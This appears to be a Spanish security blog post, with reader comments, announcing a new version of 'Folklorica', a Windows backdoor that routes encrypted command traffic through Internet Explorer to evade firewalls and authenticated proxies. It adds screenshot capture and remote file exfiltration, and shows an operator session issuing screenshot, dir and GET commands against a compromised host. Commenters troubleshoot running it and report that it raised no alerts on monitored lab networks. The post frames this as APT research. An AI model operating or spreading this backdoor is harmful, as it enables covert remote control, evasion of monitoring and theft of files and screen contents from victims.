Cada vez más están apareciendo ataques de tipo 'APT' que involucran a compañías bastante importantes, incluso algunas vinculadas directamente con el mundo de la seguridad (Lease HBGary, RSA ...).
La fisonomía de estos ataques suele ser bastante similar, un 0day dirigido hacia personal de la compañía y luego una suerte de backdoor para mantener el acceso.
Por tanto, el estudio de este tipo de herramientas y técnicas cada vez cobra mas interés. Hace tiempo presentábamos 'Folklorica' una backdoor que permitía mantener el acceso en un sistema Windows empleando Internet Explorer como vehículo hacia el exterior, entre sus funcionalidades, cabe destacar:
- La comunicación cliente<-->servidor lleva una capa de cifrado lo que permite ocultar la actividad
- Al Emplear Internet Explorer, muchos Firewalls no detectan esa conexión por originarse desde un programa confiable
- En entornos donde el acceso se realiza mediante Proxy con autenticación, Folklorica sigue siendo efectiva como backdoor.
La anterior versión era una prueba de concepto para intercambiar comandos, en esta nueva versión se ha añadido:
- Screenshots: Permite obtener una imagen de la pantalla y sacarla hacia el exterior
- Download de ficheros remotos: Permite mover ficheros hacia el exterior
En el anterior post publicábamos un vídeo explicando el uso, veamos ahora como sería una sesión con la nueva versión:
$ python server.py
Got Connection ! ('192.168.0.47', 2105)
cmd> screenshot
Screenshot mode
#######
File saved as screenshot.png
cmd> dir
Injecting Command [**]=======>
#######
El volumen de la unidad V es HD2
El n�mero de serie del volumen es: 04C0-0640
Directorio de V:\ietroj\dist
10/05/2011 18:49 <DIR> .
10/05/2011 18:49 <DIR> ..
10/05/2011 17:44 5.557.364 ietroj.exe
21/02/2003 05:42 348.160 MSVCR71.dll
18/10/2006 09:18 4.608 w9xpopen.exe
3 archivos 5.910.132 bytes
2 dirs 4.318.494.720 bytes libres
cmd> GET MSVCR71.dll
Get mode
#######
File saved as GET MSVCR71.dll
La herramienta se puede descargar de aquí
7 comments :
Gracias por la aportación Yago, he estado probando en el laboratorio pero al lanzar el servidorpython server.py File "server.py", line 42 totalrec = b'' ^SyntaxError: invalid syntax
la versión 1.0 conecta, pero aun con el puerto abierto, no llega a ejecutar los comandos
Una vez borrada la "b" sobrante sigue sin ejecutarme los comandos, ni tan sólo en local
Podrías exponer el entorno desde el que estás ejecutando todo ? version de sistema operativo, explorer, versión de Python, etc etc etc. El software está probado, si falla tiene que ser por alguna diferencia en el escenario
Buenos días Yago
Se ejcuta bajo un Xp-Pro SP3 tanto en cliente como en servidor, el IE es el 8 y el Python con el que se ejecuta el 2.5
En el lab se cuenta con un Catalyst para red interna y un checkpoint para externa. (tanto en interna como externa no ejecuta comandos) Por otra parte se utiliza un bluecoat como proxy y arcsight como gestor de logs. Cabe destacar que la conexión se establece sin hacer saltar eventos/alarmas por ningún sitio.
Probaré a utlilzar una versión superior de Python y capturaré el tráfico generado.
Saludos
El servidor solo ha sido desarrollado y probado en Linux, intenta ejecutarlo en esa plataforma.
perfecto, gracias por todo !!!
Buenos dias Yago, si me puedes ayudar con este error: AttributError: 'unicode' object has no attribute 'decode'
Publicar un comentario